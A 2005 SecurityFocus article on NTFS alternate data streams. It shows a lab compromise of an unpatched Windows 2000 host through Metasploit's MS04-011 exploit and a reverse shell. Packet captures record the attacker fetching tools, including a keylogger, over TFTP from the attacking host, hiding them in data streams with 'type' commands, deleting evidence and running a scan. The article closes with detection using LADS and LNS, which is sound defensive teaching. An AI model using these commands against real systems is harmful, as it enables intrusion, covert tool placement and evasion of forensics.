

Windows NTFS Alternate Data Streams

Don Parker 2005-02-16

1. Introduction

The purpose of this article is to explain the existence of alternate data streams in Microsoft Windows, demonstrate how to create them by compromising a machine using the Metasploit Framework, and then use freeware tools to easily discover these hidden files.

The first step is to understand what alternate data streams are, and how they can be a threat to your organizations. Then, a comprehensive demonstration will be completed, that compromises a remote machine with an exploit, provides a reverse shell, and allows one to hide files on the victim's machine. Finally, there will be a discussion of freeware tools that can be used to easily locate this activity and allow one to take steps to stop it. Let's begin.

2. Alternate data streams explained

Alternate data streams have been around since the introduction of NTFS in the Windows NT operating system. What are alternate data streams though? In essence they were created to provide compatibility with HFS, or the old Macintosh Hierarchical File System. The way that the Macintosh's file system works is that they will use both data and resource forks to store their contents. The data fork is for the contents of the document while the resource fork is to identify file type and other pertinent details.

To this day the existence of alternate data streams is not widely known. However they have been in use by some nefarious individuals in the security community for some time. Whenever something of value is found to further the agenda of malicious hackers and others with ill intent, you can rest assured it will be quickly adopted. There has been a marked increase in the use of these streams by malicious hackers wanting to store their files once they have compromised a computer. Not only that, it has also been seen that viruses and other types of malware are being placed there as well. The crux of the matter is that these streams will not be revealed using normal viewing methods, whether via a command prompt or using the Windows Explorer.

How are these statements corroborated? After an incident has occurred and a computer has been compromised, forensic investigators may be involved. It is based on these findings that the upsurge in the use of alternate data streams has been noted. Even though a corporate entity is well protected, not all anti-virus products in their default configuration will pick up alternate data streams. Most anti-virus products now do find these streams, but only with changes made to the default configuration.

3. Demonstration

How does one put all this information about alternate data streams and their danger into context? To really

understand the risk, it is helpful to actually do it for yourself, or at least see a demonstration. To that end, in this article the reader will first gain system level access on a remote computer courtesy of the Metasploit Framework. In actuality, for the purpose of this article it won't really be a remote computer, but one in a lab that was used to create our test environment.

The end result is the same, however. One doesn't need to send the attack through the Internet to a remote computer to prove that it can be done. Most exploits will create their own socket and build the packets themselves. So in reality, the exploit payload will get there regardless -- because it has a valid IP, and TCP or UDP header built for it by the exploit code.

In this demonstration we will break into a computer using the Metasploit Framework. The specific exploit I will use is the MS04-011 vulnerability, also known as the Isass overflow in Metasploit. From there the TFTP protocol will be used to transfer over some files, which could be found in a "survey kit." After that, these tools will be put into the alternate data streams of existing files found on that computer, to clearly show what can be done.

Once this is completed, the command line scanner that was transferred over to the compromised computer will be remotely executed, and a scan will take place to look for other possible internal computers. H.D. Moore, one of the co-authors of the Metasploit Framework, has seeded the exploit with the ASCII string "METASPLOIT". One can surmise that this was done so that the IDS vendors would be able to write a signature for his tool. Please see the packet from the attack, as shown below, to illustrate this point.

```
10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF],
length: 152) 192.168.1.102.32776 > 192.168.1.101.139: P [tcp sum ok]
771689123:771689223(100) ack 3530170662 win 5840 <nop,nop,timestamp
1376570 6356> NBT Packet
0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E....l@.@.....f
0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 ...e....-....j!&
0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a .....:
0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .....`.SMBr...
0x0040 0018 0120 0000 0000 0000 0000 0000 0000 .....
0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .....=..META
0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT..LANMAN1.
0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0..LM1.2X002..NT
0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 .LANMAN.1.0..NT.
0x0090 4c4d 2030 2e31 3200 LM.0.12.
```

Note that 192.168.1.102 is the attacking computer using the Metasploit Framework, and that 192.168.1.101 is the victim computer running Windows 2000 Professional. The W2K install is a fresh install with no patches or service packs applied, for demonstration purposes. Please note that for alternate data

streams to be useful in the wild, there still needs to be an attack vector with an exploitable vulnerability. An unpatched Windows 2000 machine is used in this case purely for demonstration purposes; in real life, a patched system would require a different exploit to be effective.

We will see below that the attack has been successful. Our attacking machine now has a reverse shell given to it by the victim. Port 4321 is the default port when using the Isass exploit within Metasploit. It can, however, be changed.

```
10:38:50.071766 IP (tos 0x0, ttl 128, id 85, offset 0, flags [DF],
length: 82) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530253951:3530253993(42) ack 758421802 win 17520
0x0000  4500 0052 0055 4000 8006 7635 c0a8 0165      E..R.U@...v5...e
0x0010  c0a8 0166 0406 10e1 d26b 667f 2d34 992a      ...f.....kf.-4.*
0x0020  5018 4470 095f 0000 4d69 6372 6f73 6f66      P.Dp._..Microsof
0x0030  7420 5769 6e64 6f77 7320 3230 3030 205b      t.Windows.2000.[
0x0040  5665 7273 696f 6e20 352e 3030 2e32 3139      Version.5.00.219
0x0050  355d                                           5]
```

```
10:38:50.071943 IP (tos 0x0, ttl 128, id 86, offset 0, flags [DF],
length: 83) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530253993:3530254036(43) ack 758421802 win 17520
0x0000  4500 0053 0056 4000 8006 7633 c0a8 0165      E..S.V@...v3...e
0x0010  c0a8 0166 0406 10e1 d26b 66a9 2d34 992a      ...f.....kf.-4.*
0x0020  5018 4470 89be 0000 0d0a 2843 2920 436f      P.Dp.....(C).Co
0x0030  7079 7269 6768 7420 3139 3835 2d32 3030      pyright.1985-200
0x0040  3020 4d69 6372 6f73 6f66 7420 436f 7270      0.Microsoft.Corp
0x0050  2e0d 0a                                           ...
```

```
10:38:50.072162 IP (tos 0x0, ttl 128, id 88, offset 0, flags [DF],
length: 58) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530254038:3530254056(18) ack 758421802 win 17520
0x0000  4500 003a 0058 4000 8006 764a c0a8 0165      E...X@...vJ...e
0x0010  c0a8 0166 0406 10e1 d26b 66d6 2d34 992a      ...f.....kf.-4.*
0x0020  5018 4470 b1b4 0000 433a 5c57 494e 4e54      P.Dp....C:\WINNT
0x0030  5c73 7973 7465 6d33 323e                       \system32>
```

At this point, the transfer of files from the attacker to the compromised computer should begin. This is done via the TFTP protocol. Note the command as it was entered into the reverse shell, telling the victim machine to TFTP over the file `ipeye.exe`.

```

10:40:50.631410 IP (tos 0x0, ttl 64, id 39780, offset 0, flags [DF],
length: 76) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok]
758421827:758421863(36) ack 3530255290 win 6432
0x0000 4500 004c 9b64 4000 4006 1b2c c0a8 0166 E..L.d@.@.,...f
0x0010 c0a8 0165 10e1 0406 2d34 9943 d26b 6bba ...e....-4.C.kk.
0x0020 5018 1920 8b78 0000 7466 7470 202d 6920 P....x..tftp.-i.
0x0030 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.

```

```

10:40:50.631981 IP (tos 0x0, ttl 128, id 123, offset 0, flags [DF],
length: 76) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530255290:3530255326(36) ack 758421863 win 17459
0x0000 4500 004c 007b 4000 8006 7615 c0a8 0165 E..L.{@...v....e
0x0010 c0a8 0166 0406 10e1 d26b 6bba 2d34 9967 ...f.....kk.-4.g
0x0020 5018 4433 6041 0000 7466 7470 202d 6920 P.D3`A..tftp.-i.
0x0030 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040 5420 6970 6579 652e 6578 650a T.ipeye.exe.

```

These TFTP file transfers from the attacking computer to the victim computer continue until we have four files transferred in total: ipeye.exe, psexec.exe, pslist.exe, and klogger.exe. For brevity I have not shown the successive packet transfers. Listed below is a directory listing from the victim host, once all files are there. These are shown in the directory c:\compaq\.

```

10:43:11.263385 IP (tos 0x0, ttl 128, id 735, offset 0, flags [DF],
length: 543) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530256009:3530256512(503) ack 758422019 win 17303
0x0000 4500 021f 02df 4000 8006 71de c0a8 0165 E.....@...q....e
0x0010 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03 ...f.....kn.-4..
0x0020 5018 4397 e869 0000 0d0a 3132 2f30 352f P.C..i....12/05/
0x0030 3230 3034 2020 3039 3a33 3061 2020 2020 2004..09:30a....
0x0040 2020 2020 2020 2020 2020 3332 2c37 3638 .....32,768
0x0050 2069 7065 7965 2e65 7865 0d0a 3132 2f30 .ipeye.exe..12/0
0x0060 352f 3230 3034 2020 3039 3a33 3261 2020 5/2004..09:32a..
0x0070 2020 2020 2020 2020 2020 2020 3332 2c37 .....32,7
0x0080 3638 206b 6c6f 6767 6572 2e65 7865 0d0a 68.klogger.exe..
0x0090 3132 2f30 352f 3230 3034 2020 3039 3a33 12/05/2004..09:3
0x00a0 3161 2020 2020 2020 2020 2020 2020 2031 1a.....1
0x00b0 3433 2c33 3630 2070 7365 7865 632e 6578 43,360.psexec.ex
0x00c0 650d 0a31 322f 3035 2f32 3030 3420 2030 e..12/05/2004..0
0x00d0 393a 3331 6120 2020 2020 2020 2020 2020 9:31a.....

```

```

0x00e0  2020 2038 362c 3031 3620 7073 6c69 7374      ...86,016.pslist
0x00f0  2e65 7865 0d0a 3132 2f30 342f 3230 3034      .exe..12/04/2004
0x0100  2020 3032 3a31 3270 2020 2020 2020 3c44      ..02:12p.....<D
0x0110  4952 3e20 2020 2020 2020 2020 2053 5032      IR>.....SP2
0x0120  3132 3633 0d0a 3132 2f30 352f 3230 3034      1263..12/05/2004
0x0130  2020 3039 3a30 3161 2020 2020 2020 2020      ..09:01a.....
0x0140  2020 2020 2020 2020 2020 3132 2074 6573      .....12.tes
0x0150  745f 6669 6c65 0d0a 3132 2f30 352f 3230      t_file..12/05/20
0x0160  3034 2020 3039 3a30 3261 2020 2020 2020      04..09:02a.....
0x0170  2020 2020 2020 2020 2020 2020 3133 2074      .....13.t
0x0180  6573 745f 6669 6c65 320d 0a31 322f 3035      est_file2..12/05
0x0190  2f32 3030 3420 2030 393a 3032 6120 2020      /2004..09:02a...
0x01a0  2020 2020 2020 2020 2020 2020 2020 2031      .....1
0x01b0  3320 7465 7374 5f66 696c 6533 0d0a 3132      3.test_file3..12
0x01c0  2f30 352f 3230 3034 2020 3039 3a30 3361      /05/2004..09:03a
0x01d0  2020 2020 2020 2020 2020 2020 2020 2020      .....
0x01e0  2020 3133 2074 6573 745f 6669 6c65 340d      ..13.test_file4.
0x01f0  0a31 322f 3035 2f32 3030 3420 2030 393a      .12/05/2004..09:
0x0200  3332 6120 2020 2020 2020 2020 2020 2020      32a.....
0x0210  2020 2020 2020 3020 5446 5450 3738 30      .....0.TFTP780

```

Seen below, we see how the attacker deletes the "tftp780" file in that directory. This would be consistent with wiping evidence.

```

10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, offset 0, flags [DF],
length: 55) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok]
758422044:758422059(15) ack 3530258111 win 10720
0x0000  4500 0037 9baf 4000 4006 1af6 c0a8 0166      E..7..@.@.....f
0x0010  c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf      ...e....-4...kv.
0x0020  5018 29e0 a342 0000 6465 6c20 2f46 2074      P.)..B..del./F.t
0x0030  6674 7037 3830 0a      ftp780.

```

The attacker now puts the executable ipeye.exe into an alternate data stream associated with the existing file test_file. The syntax to do this is as follows:

```
type ipeye.exe > test_file:ipeye.exe
```

```
10:47:44.391095 IP (tos 0x0, ttl 64, id 39873, offset 0, flags [DF],
length: 77) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok]
758422063:758422100(37) ack 3530258892 win 11792
0x0000 4500 004d 9bc1 4000 4006 1ace c0a8 0166 E..M..@.@.....f
0x0010 c0a8 0165 10e1 0406 2d34 9a2f d26b 79cc ...e....-4./ky.
0x0020 5018 2e10 7cc8 0000 7479 7065 2069 7065 P...|...type.ipe
0x0030 7965 2e65 7865 203e 2074 6573 745f 6669 ye.exe.>.test_fi
0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.
```

```
10:47:44.391676 IP (tos 0x0, ttl 128, id 789, offset 0, flags [DF],
length: 77) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530258892:3530258929(37) ack 758422100 win 17222
0x0000 4500 004d 0315 4000 8006 737a c0a8 0165 E..M..@...sz...e
0x0010 c0a8 0166 0406 10e1 d26b 79cc 2d34 9a54 ...f.....ky.-4.T
0x0020 5018 4346 676d 0000 7479 7065 2069 7065 P.CFgm..type.ipe
0x0030 7965 2e65 7865 203e 2074 6573 745f 6669 ye.exe.>.test_fi
0x0040 6c65 3a69 7065 7965 2e65 7865 0a le:ipeye.exe.
```

Now this same process is completed for the three other remaining files that were transferred to the compromised host. They are copied over into an alternate data stream of an existing file on the victim computer. You can also copy a file into the stream of a directory as well, such as simply C:\.

We will then run `psexec.exe` on the victim computer in order to execute the command line scanner `ipeye.exe`, which is in the alternate data stream `c:\Compaq\test_file:ipeye.exe`. Please note that I used the copy of `psexec.exe` which is not in the alternate data stream, but rather the one sitting clearly visible in the directory.

Please note that there are a variety of ways to start tools or programs on a Win32 based computer. Another way to initiate a process would be to use the "start" command -- which would in fact be simpler, and would not leave a trail in clear view on the victim's machine. Some hackers may instead use a batch file to start a program, or other means as well. In fact the modus operandi of a hacker may not always be clear, but we do need to remember that not all hackers are created equal. Many a hacker has been noted via a honeynet making questionable moves. The reason `psexec.exe` was chosen for this article is simply because that suite of tools, freeware offered by [Sysinternals](http://www.sysinternals.com), is one favoured by hackers. In an effort to impart some realism to this article I decided to use tools that you may very well see in a computer forensic investigation. With that in hand lets continue with the packet below.

```

11:52:56.535800 IP (tos 0x0, ttl 64, id 40473, offset 0, flags [DF],
length: 107) 192.168.1.102.4321 > 192.168.1.101.1030: P [tcp sum ok]
758423689:758423756(67) ack 3530302032 win 58400
0x0000 4500 006b 9e19 4000 4006 1858 c0a8 0166 E..k..@.@..X...f
0x0010 c0a8 0165 10e1 0406 2d34 a089 d26c 2250 ...e....-4...l"P
0x0020 5018 e420 55ab 0000 7073 6578 6563 2e65 P...U...psexec.e
0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573 xe.c:\compaq\tes
0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865 t_file:ipeye.exe
0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d .192.168.1.100.-
0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.

```

We saw above that the command as issued was as follows:

```
psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139
```

The command line scanner tool was transferred over as part of a "survey kit" which is often used by hackers to further their exploitation of a network. Note that in the laboratory I actually have another computer listening on 192.168.1.100 and it has port 139 open. As a hacker coming in from the outside, however, I would need to simply use one of the reserved IP address ranges and start scanning to find this computer.

```

11:52:56.536785 IP (tos 0x0, ttl 128, id 2126, offset 0, flags [DF],
length: 107) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530302032:3530302099(67) ack 758423756 win 17078
0x0000 4500 006b 084e 4000 8006 6e23 c0a8 0165 E..k.N@...n#...e
0x0010 c0a8 0166 0406 10e1 d26c 2250 2d34 a0cc ...f.....l"P-4..
0x0020 5018 42b6 f6d2 0000 7073 6578 6563 2e65 P.B....psexec.e
0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573 xe.c:\compaq\tes
0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865 t_file:ipeye.exe
0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d .192.168.1.100.-
0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.

```

```

11:52:56.536816 IP (tos 0x0, ttl 64, id 40474, offset 0, flags [DF],
length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok]
ack 3530302099 win 58400
0x0000 4500 0028 9e1a 4000 4006 189a c0a8 0166 E..(..@.@.....f
0x0010 c0a8 0165 10e1 0406 2d34 a0cc d26c 2293 ...e....-4...l".
0x0020 5010 e420 6fb0 0000 P...o...

```

```

11:52:56.546849 IP (tos 0x0, ttl 128, id 2127, offset 0, flags [DF],
length: 166) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530302099:3530302225(126) ack 758423756 win 17078
0x0000  4500 00a6 084f 4000 8006 6de7 c0a8 0165      E....O@...m....e
0x0010  c0a8 0166 0406 10e1 d26c 2293 2d34 a0cc      ...f.....l".-4..
0x0020  5018 42b6 d271 0000 0d0a 5073 4578 6563      P.B..q....PsExec
0x0030  2076 312e 3535 202d 2045 7865 6375 7465      .v1.55.-.Execute
0x0040  2070 726f 6365 7373 6573 2072 656d 6f74      .processes.remot
0x0050  656c 790d 0a43 6f70 7972 6967 6874 2028      ely..Copyright.(
0x0060  4329 2032 3030 312d 3230 3034 204d 6172      C).2001-2004.Mar
0x0070  6b20 5275 7373 696e 6f76 6963 680d 0a53      k.Russinovich..S
0x0080  7973 696e 7465 726e 616c 7320 2d20 7777      ysinternals.-.ww
0x0090  772e 7379 7369 6e74 6572 6e61 6c73 2e63      w.sysinternals.c
0x00a0  6f6d 0d0a 0d0a                                om....

```

```

11:52:56.546883 IP (tos 0x0, ttl 64, id 40475, offset 0, flags [DF],
length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok]
ack 3530302225 win 58400
0x0000  4500 0028 9e1b 4000 4006 1899 c0a8 0166      E..(..@.@.....f
0x0010  c0a8 0165 10e1 0406 2d34 a0cc d26c 2311      ...e....-4...l#.
0x0020  5010 e420 6f32 0000                                P...o2..

```

```

11:53:00.403951 IP (tos 0x0, ttl 128, id 2161, offset 0, flags [DF],
length: 229) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok]
3530302225:3530302414(189) ack 758423756 win 17078
0x0000  4500 00e5 0871 4000 8006 6d86 c0a8 0165      E....q@...m....e
0x0010  c0a8 0166 0406 10e1 d26c 2311 2d34 a0cc      ...f.....l#.-4..
0x0020  5018 42b6 8c3c 0000 0d0a 6970 4579 6520      P.B..<....ipEye.
0x0030  312e 3220 2d20 2863 2920 3230 3030 2d32      1.2.-.(c).2000-2
0x0040  3030 312c 2041 726e 6520 5669 6473 7472      001,.Arne.Vidstr
0x0050  6f6d 2028 6172 6e65 2e76 6964 7374 726f      om.(arne.vidstro
0x0060  6d40 6e74 7365 6375 7269 7479 2e6e 7529      m@ntsecurity.nu)
0x0070  0d0a 2020 2020 2020 2020 2020 2d20 6874      .....-ht
0x0080  7470 3a2f 2f6e 7473 6563 7572 6974 792e      tp://ntsecurity.
0x0090  6e75 2f74 6f6f 6c62 6f78 2f69 7065 7965      nu/toolbox/ipeye
0x00a0  2f0d 0a0d 0a20 2031 2d31 3338 205b 6e6f      /.....1-138.[no
0x00b0  7420 7363 616e 6e65 645d 0d0a 2020 3133      t.scanned]....13
0x00c0  3920 5b6f 7065 6e5d 0d0a 2020 3134 302d      9.[open]....140-
0x00d0  3635 3533 3520 5b6e 6f74 2073 6361 6e6e      65535.[not.scann
0x00e0  6564 5d0d 0a                                ed]..

```

We can see from the above packets that the execution of the command line scanner hidden within the alternate data stream was successful. It reported back to us that port 139 was indeed open on the machine it scanned. Since I know for a fact that this computer is in my lab, I am able to corroborate the results. This process illustrates the usage that such a stream could have for malicious hackers. One needs to realize that employees of a company could also potentially hide such undesirable content as pornography, both legal and illegal, in such a place.

4. Fixing the problem

Now we'll look at some output from several alternate data streams discovery tools. Both before and after output will be demonstrated, so that one will see that there were no alternate data streams prior to the hack, and also see that they do in fact exist after the attack has been completed. Both these tools have been used to make sure that they both picked up the presence of these streams, and to confirm the results of our demonstration.

How do you deal with the problem of alternate data streams? There are some excellent tools that been written by a few talented developers like Frank Heyne, and Arne Vidstrom which will detect alternate data streams.

In the interest again of visually showing what these streams are and how they can appear once detected, a screenshot of before and after will be shown. The tools [lads](#) and [lms](#) were used to look for the streams on the Windows 2000 machine, both before and after the hack. Shown below is the output from each tool on our machine with a fresh install of W2K.

```
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!

Scanning directory C:
   size  ADS in file
-----
Error 32 opening C:\pagefile.sys

The following summary might be incorrect because there was at least one error!

    0 bytes in 0 ADS listed
```

```
lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/lns/
```

As expected, nothing was found on the computer. Now take a look at the output below to see what is detected by these tools once some remote work has been done on the victim computer.

```
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
```

```
Scanning directory C:\compaq
  size  ADS in file
-----  -----
 32768  C:\compaq\test_file:ipeye.exe
 32768  C:\compaq\test_file2:klogger.exe
143360  C:\compaq\test_file3:psexec.exe
 86016  C:\compaq\test_file4:pslist.exe

294912 bytes in 4 ADS listed
```

```
lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/lns/
```

```
c:\compaq\test_file
- Alternative data stream [:ipeye.exe:$DATA]

c:\compaq\test_file2
- Alternative data stream [:klogger.exe:$DATA]

c:\compaq\test_file3
- Alternative data stream [:psexec.exe:$DATA]

c:\compaq\test_file4
- Alternative data stream [:pslist.exe:$DATA]
```

As shown in the above output, it is clear that the alternate data streams created in this article were picked up by our two tools. By using these freeware tools you can easily find out if you have these streams

existing on your computers. It is highly advised that one complete this search on a semi-regular basis. While some anti-virus vendors will now pick up these streams, one may prefer to rely on a tool that was designed solely to find them.

5. Conclusion

Alternate data streams for Windows NTFS is a real threat -- however, that threat can be minimized through good security practices, including a standard defense-in-depth approach to network security. Additionally, it has been shown how two freeware tools can be used to scan and identify the presence of alternate data streams, thereby alerting the administrator to the threat and giving him time to deal with it in an appropriate manner. Please remember that the test system used in this case was an unpatched Windows 2000 machine; to do this process on a patched machine, it would require a different exploit as an entry point into the machine -- and only then would the alternate data stream approach be successful.

The author welcomes email with any comments or feedback you may have.

About the author

[Don Parker](#) is an Intrusion Detection Specialist who holds the GCIA certification. He works as an independent consultant and instructor. He also provides other computer security services of a highly specialized nature.

View [more articles](#) by Don Parker on SecurityFocus.

[Privacy Statement](#)

Copyright 2006, SecurityFocus